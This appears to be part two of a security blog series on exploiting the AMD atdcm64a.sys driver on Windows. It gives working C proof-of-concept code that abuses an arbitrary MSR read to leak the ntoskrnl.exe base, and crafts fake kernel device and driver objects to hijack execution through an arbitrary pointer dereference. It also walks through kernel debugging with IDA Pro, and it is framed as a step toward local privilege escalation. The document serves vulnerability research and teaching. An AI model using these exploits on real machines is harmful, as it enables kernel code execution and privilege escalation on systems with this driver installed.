Exploiting AMD atdcm64a.sys arbitrary pointer dereference – Part 2

Welcome back! We concluded the previous article by spotting two vulnerabilities in atdcm64a.sys: an arbitrary MSR read and an arbitrary pointer dereference. In this second part of the series we will focus on confirming that we can actually exploit these vulnerabilities.

We will start with the arbitrary MSR read, by creating a PoC that exploits the vulnerability by reading a Model Specific Register (MSR) of our choice and finally retrieves the base address of ntoskrnl.exe.

Then we will focus on the arbitrary pointer dereference. In this case the objective of the PoC will be to redirect the execution flow to an arbitrary location leading the VM to crash by causing a BSOD. We will have to define multiple data structures in order to successfully hijack the execution flow and debug the driver. We will see how to debug the driver using IDA Pro with the assistance of the decompiled code.

Confirming the vulnerabilities

At this point the objective is confirming that we are actually able to exploit the vulnerabilities by creating a simple C/C++ program that interacts with the driver and sends the appropriate IOCTLs.

Confirming the arbitrary MSR read

Let’s start confirming the arbitrary MSR read vulnerability as it seems much easier to exploit. Here’s a snippet of code that allows us to confirm the vulnerability:

[...]

DWORD64 g_ntbase = 0;
DWORD64 g_kisystemcall64shadow = 0;
[...]
#define SIZE_BUF 4096
#define IOCTL_READMSR 0x22e09c
#define IOCTL_ARBITRARYCALLDRIVER    0x22e04c
#define IA32_GS_BASE 0xc0000101
#define IA32_LSTAR	0xc0000082
#define IA32_STAR	0xc0000081

HANDLE g_device;


BOOL readMSR(DWORD msr_value,PVOID outputBuffer, SIZE_T outSize) {
    char* inputBuffer = (char*)VirtualAlloc(
        NULL,
        SIZE_BUF,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    *((DWORD*)inputBuffer) = msr_value;

    if (inputBuffer == NULL)
        return -2;

    printf("[+] User buffer allocated: 0x%8p\n", inputBuffer);
    

    DWORD bytesRet = 0;

    
    BOOL res = DeviceIoControl(
        g_device,
        IOCTL_READMSR,
        inputBuffer,
        SIZE_BUF,
        outputBuffer,
        outSize,
        &bytesRet,
        NULL
    );

    printf("[*] sent IOCTL_READMSR \n");
    if (!res) {
        printf("[-] DeviceIoControl failed with error: %d\n", GetLastError());
    }
    return res;
}


int main()
{
    DWORD bytesRet = 0;

    g_device = CreateFileA(
        "\\\\.\\AtiDCM",
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL);



    if (g_device == INVALID_HANDLE_VALUE)
    {
        printf("[-] Failed to open handle to device.");
        return -1;
    }

    printf("[+] Opened handle to device: 0x%8p\n", g_device);

    char* outputBuffer = (char*)VirtualAlloc(
        NULL,
        SIZE_BUF,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);


    memset(outputBuffer, 0x0, SIZE_BUF);


    if (readMSR(IA32_LSTAR, outputBuffer, SIZE_BUF)) {
        printf("[+] readMSR success.\n");
        printf("[+] IA32_LSTAR = 0x%8p\n", *((DWORD64*)(outputBuffer + 12)));
        //printf("[+] IA32_LSTAR = 0x%8p\n", *((DWORD64*)(outputBuffer + 4)));
        g_kisystemcall64shadow = *((DWORD64*)(outputBuffer + 12));
        g_ntbase = (DWORD64)g_kisystemcall64shadow - 0xaf61c0;
        printf("[+] g_ntbase = 0x%p\n", g_ntbase);
    }

    return 0;
}

The PoC simply does the following:

  1. Open the handle to device using the name \\.\AtiDCM.
  2. Issue a call to DeviceIoControl() passing as input: the handle obtained previously, the IOCTL 0x22e09c, that allows to reach the vulnerability, the inputBuffer, that contains the value of the MSR that we want to read (in this case is 0xc0000082 that corresponds to the IA32_LSTAR MSR) and the outputBuffer.
  3. Read the value of the IA32_LSTAR register from the outputBuffer (it contains the address of nt!KiSystemCall64Shadow) and then subtract offset 0xaf61c0 in order to retrieve the base address of ntoskrnl.exe.
After compiling and running our PoC we get the following output.
Leaking the base of ntoskrnl.exe running the PoC
We can confirm in Windbg that the base address of ntoskrnl.exe calculated in the PoC is valid.
Printing the base address of ntoskrnl.exe in windbg

Confirming the arbitrary pointer dereference

In order to confirm the second vulnerability we need to:

  • Issue another DeviceIoControl() passing as input: the IOCTL that allows to reach the vulnerability and an inputBuffer.
  • Create multiple data structures in memory to craft an inputBuffer that allows us to reach the call to arbitrary function pointer in the IofCallDriver() procedure.
  • Debug the driver.

Below I try to summarize what calls are performed by the driver in the execution flow that lead to a call to arbitrary function pointer:

callDriver(*(systemBuffer+1),.....) 
│
├>AttachedDevice = IoGetAttachedDeviceReference(*(systemBuffer+1)) 
├>IofCallDriver(AttachedDevice,...)
  │
  ├>AttachedDevice->DriverObject->MajorFunction[IRP_MJ_XXX](AttachedDevice,...)

This means that we must:

  • Allocate a first object named object that contains our first fake _DEVICE_OBJECT named DeviceObject, prepended by an _OBJECT_HEADER. Recall that we have to pass the increment performed by ObpIncrPointerCount(), in IoGetAttachedDeviceReference(). Failing to allocate space also for the _OBJECT_HEADER will trigger a BSOD.
  • Allocate a second object named object2 that contains our second fake _DEVICE_OBJECT named DeviceObject2 prepended by another _OBJECT_HEADER.
  • Set DeviceObject->AttachedDevice = DeviceObject2. This way IoGetAttachedDeviceReference() will return a pointer to DeviceObject2.
  • Create a _DRIVER_OBJECT named DriverObject containing the function pointer defined by us.
  • Set DeviceObject2->DriverObject = DriverObject. This way IofCallDriver() will dereference our DriverObject and call our arbitrary function pointer.

Here’s a visualization of the objects we would like to create in memory:

Below you can find the updated code. In this case it just sets the arbitrary function pointer to be 0xdeadbeef.

The actual code contains a bunch of other definitions such as DEVICE_OBJECT and DRIVER_OBJECT that I skipped for clarity in the code block below. However, you can very likely find all the required definitions in vergilius project or directly in the header files

[...]

typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _DEVICE_OBJECT {
    CSHORT Type;
    USHORT Size;
    LONG ReferenceCount;
    struct _DRIVER_OBJECT* DriverObject;
    struct _DEVICE_OBJECT* NextDevice;
    struct _DEVICE_OBJECT* AttachedDevice;
[...]



DWORD64 g_ntbase = 0;
DWORD64 g_kisystemcall64shadow = 0;
[...]
#define SIZE_BUF 4096
#define IOCTL_READMSR 0x22e09c
#define IOCTL_ARBITRARYCALLDRIVER    0x22e04c
#define IA32_GS_BASE 0xc0000101
#define IA32_LSTAR	0xc0000082
#define IA32_STAR	0xc0000081

HANDLE g_device;


BOOL readMSR(DWORD msr_value,PVOID outputBuffer, SIZE_T outSize) {
    [...]
}

BOOL arbitraryCallDriver(PVOID outputBuffer, SIZE_T outSize) {
    char* inputBuffer = (char*)VirtualAlloc(
        NULL,
        21,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    char* object = (char*)VirtualAlloc(
        NULL,
        SIZE_BUF,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
    printf("[+] object = 0x%p\n", object);

    PDEVICE_OBJECT ptr = (PDEVICE_OBJECT)(object + 0x30);

    memset(object, 0x41, 0x30);

    printf("[+] ptr = 0x%p\n", ptr);
    char* object2 = (char*)VirtualAlloc(
        NULL,
        SIZE_BUF,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    printf("[+] object2 = 0x%p\n", object2);
    memset(object2, 0x43, 0x30);

    char* driverObject = (char*)VirtualAlloc(
        NULL,
        SIZE_BUF,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    memset(driverObject, 0x50, SIZE_BUF);
    printf("[+] driverObject = 0x%p\n", driverObject);
    char* ptrDriver = driverObject + 0x30;
    char* pDriverFunction = ptrDriver + 0x1b*8+0x70;

    *((PDWORD64)pDriverFunction) = 0xdeadbeef;

    ptr->AttachedDevice = (PDEVICE_OBJECT)(object2 + 0x30);

    
    memset(ptr->AttachedDevice, 0x42, SIZE_BUF-0x40);

    printf("[+] ptr->AttachedDevice = 0x%p\n", ptr->AttachedDevice);
    
    
    ptr->AttachedDevice->DriverObject = (_DRIVER_OBJECT*)ptrDriver;
    ptr->AttachedDevice->AttachedDevice = 0;
    char* ptr2 = inputBuffer;
    *(ptr2) = 0;
    ptr2 += 1;
    *((PDWORD64)ptr2) = (DWORD64)ptr;
    

    printf("[+] User buffer allocated: 0x%8p\n", inputBuffer);

    DWORD bytesRet = 0;

    getchar();

    BOOL res = DeviceIoControl(
        g_device,
        IOCTL_ARBITRARYCALLDRIVER,
        inputBuffer,
        SIZE_BUF,
        outputBuffer,
        outSize,
        &bytesRet,
        NULL
    );

    printf("[*] sent IOCTL_ARBITRARYCALLDRIVER \n");
    if (!res) {
        printf("[-] DeviceIoControl failed with error: %d\n", GetLastError());
    }
    return res;
}


int main()
{
    DWORD bytesRet = 0;

    g_device = CreateFileA(
        "\\\\.\\AtiDCM",
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL);


  [...]

    if (readMSR(IA32_LSTAR, outputBuffer, SIZE_BUF)) {
        [...]
    }

  arbitraryCallDriver(outputBuffer, SIZE_BUF);
    return 0;
}

The arbitraryCallDriver() is the function that triggers the vulnerability and performs the following:

  1. Allocate the inputBuffer that will contain the final buffer that will be sent to driver through the DeviceIoControl WinAPI.
  2. Allocate object, set ptr to point to object+0x30 (after the _OBJECT_HEADER struct) and fill the _OBJECT_HEADER with the dummy value 0x41.
  3. Allocate object2 and fill its _OBJECT_HEADER with the dummy value 0x43.
  4. Allocate DriverObject, fill it with the dummy value 0x50 and set the target function pointer that will be called by the driver to be 0xdeadbeef. Notice how we calculate the offset from DriverObject to the target function pointer. First we set ptrDriver to point to DriverObject+0x30 in order to skip the _OBJECT_HEADER. Then from ptrDriver we sum 0x70 (if you take the definition of _DRIVER_OBJECT the start of the MajorFunction array is at 0x70) and then we sum 0x1b*8. 8 because the size of a function pointer is 8 bytes in a x64 architecture. 0x1b because in the reversed callDriver() function the call to IoBuildSynchronousFsdRequest() is passing as first parameter IRP_MJ_PNP. If we give a look at the definition of IRP_MJ_PNP inside wdm.h, its value corresponds to 0x1b.
  5. After that we set that the AttachedDevice field of object points to the DeviceObject inside object2 at object2+x030. The AttachedDevice field of object can be now referenced also with ptr->AttachedDevice.
  6. Finally we set ptr->AttachedDevice->DriverObject to point to ptrDriver (that contains our rogue _DRIVER_OBJECT with the function pointer that points to 0xdeadbeef) and ptr->AttachedDevice->DeviceObject to NULL so that we can exit successfully from the for loop inside IoGetAttachedDeviceReference().
  7. We populate our inputBuffer with the first byte equal to 0 and the subsequent 8 bytes containing the pointer to ptr(that is object+0x30). We must set the first byte equal to 0, because if you re-inspect the figure below you may notice the if(*(_BYTE*)systemBuffer_12) that may lead to a goto completeRequest2, where the completeRequest2 label references a code location that exits from the function and won’t allow us to enter the vulnerable path. So by just setting the first byte of  systemBuffer_12 to 0 we can just skip this condition and reach our vulnerable function.

 

call to callDriver()

Debugging with IDA Pro

Crafting the proper inputBuffer and data structures in order to reach a vulnerability is typically difficult to do at the first shot. It usually requires debugging and a fair amount of trial and error.

For this reason, I’m going to show how to debug the driver with the assistance of IDA Pro Debugger. This proves to be particularly useful especially when you want to debug a routine and understand its behavior with the assistance of the pseudocode provided by IDA Pro.

You can setup the IDA Pro Debugger to do kernel debugging as follows:

  1. Press f9 or click Debugger > Select debugger....
  2. Select the option Windbg debugger.
  3. Click Debugger > process options....
  4. In the connection string enter net:port=<port>,key=<a.b.c.d> you can get the port and key values by typing bcdedit /dbgsettings (run it as administrator) in your Windows VM.
  5. Click Debugger Debugger specific options and set Kernel mode debugging and click Ok.
  6. Click Debugger Options and check Autoload PDB files.
You can now press the green play button on top and you will notice it will start loading PDB symbols for all the drivers loaded in the Windows VM.
We are actually just interested in loading symbols just for ntoskrnl.exe but I couldn’t find a way to specify it.
IDA Pro loading PDB symbols

At this point we are able to set breakpoints inside our vulnerable driver and debug it with the assistance of the pseudocode but we are not able to do the same with the ntoskrnl.exe module.

In particular, we would like to debug, assisted by the pseudocode, the functions called by callDriver() such as IoGetAttachedDeviceReference(), IoBuildSynchronousFsdRequest() and IofCallDriver().

We can achieve this as follows:

  1. Click View > Open subviews > Segments and right click on the nt module and select Edit segment.

    Modify nt segment – Step 1
  2.  Uncheck Debugger segment and check Loader segment (see here for further details). Press Ok.

    Modify nt segment – Step 2
You will see that IDA Pro starts performing the conversion:
IDA Pro popup converting debug to loader segment
Once it finishes, stop debugging by clicking the red stop button on the top. You can see IDA Pro deletes the debug segments but keeps the loader segments:
IDA Pro deleting debug segment
Once it finishes, we can see in the Functions tab a bunch of nt_xxx functions. These are the functions of the nt (ntoskrnl.exe) module that is now a loader segment. Wait for IDA Pro to analyze it:
Ntoskrnl.exe functions are now available

If you didn’t take a snpashot you will have to repeat the process everytime since IDA Pro will create another debugger nt segment at a different base address. With the snapshot, the base of your loader nt segment will always match with that of the debugger.

At this point we can select for example function nt_IoGetAttachedDeviceReference and we have the decompiled code (we will have to reverse again the functions by re-applying the proper function signatures and redefining the correct types for variables):
Decompiled view of IoGetAttachedDeviceReference()
So now we can restart debugging the VM (I suggest you to uncheck the Autoload PDB files under Debugger Options in order to speed up the loading process). Let’s start placing a breakpoint at the beginning of the vulnerable path inside InnerIrpDeviceIoCtlHandler():
Setting a breakpoint
At this point we can recompile and launch our PoC and press enter (I’ve placed a getchar() in the code in order to view the output of the program):
Output of the PoC
You will notice the breakpoint was hit in IDA Pro:
Breakpoint hit in IDA PRO
At this point we can just step into/ step over/ run to cursor ( f7/ f8/ f4) until we reach the call to our arbitrary pointer inside IofCallDriver(). In my opinion, it may be really helpful to debug the pseudocode along with the runtime values of variables.
Here’s an example while debugging callDriver():
View of IDA Pro with pseudocode and variables
After stepping into the debugger we eventually reach a call to _guard_dispatch_icall having in rax the value 0xdeadbeef.
_guard_dispatch_icall()
If you keep stepping inside _guard_dispatch_icall() you will get a bug check error because 0xdeadbeef is not a valid kernel address.

Let’s try changing 0xdeadbeef with a real kernel address. In this case I took nt!ZwFlushInstructionCache+0x14.

[...]
*((PDWORD64)pDriverFunction) = 0xFFFFF80025E14C04;
[...]
If you relaunch the updated PoC you will see you can reach a jmp rax inside _guard_dispatch_icall where rax is our arbitrary function pointer, as you can see in the following screenshot (I suggest to remove the IDA Pro Pseudocode view when you are in routines such as _guard_dispatch_icall as IDA Pro will complain about not been able to create the pseudocode).
jmp rax inside _guard_disaptch_icall()

It is important to check what registers we control. As we can see, we control RBX, RCX and RDI by cross-checking the address values printed by our program. In fact we may notice that rbx corresponds to object+0x30/ ptr, while rcx and rdi corresponds to object2+0x30.

At this point we know we can redirect execution to an arbitrary address and that we control registers RBX, RCX and RDI.

Wrapping up

In this second part of the series we successfully confirmed both vulnerabilities by retrieving the base address of ntoskrnl.exe and hijacking the execution flow, annotating what the controlled registers are.

In the next and final part we will finally exploit the vulnerabilities in order to achieve Local Privilege Escalation. Stay tuned!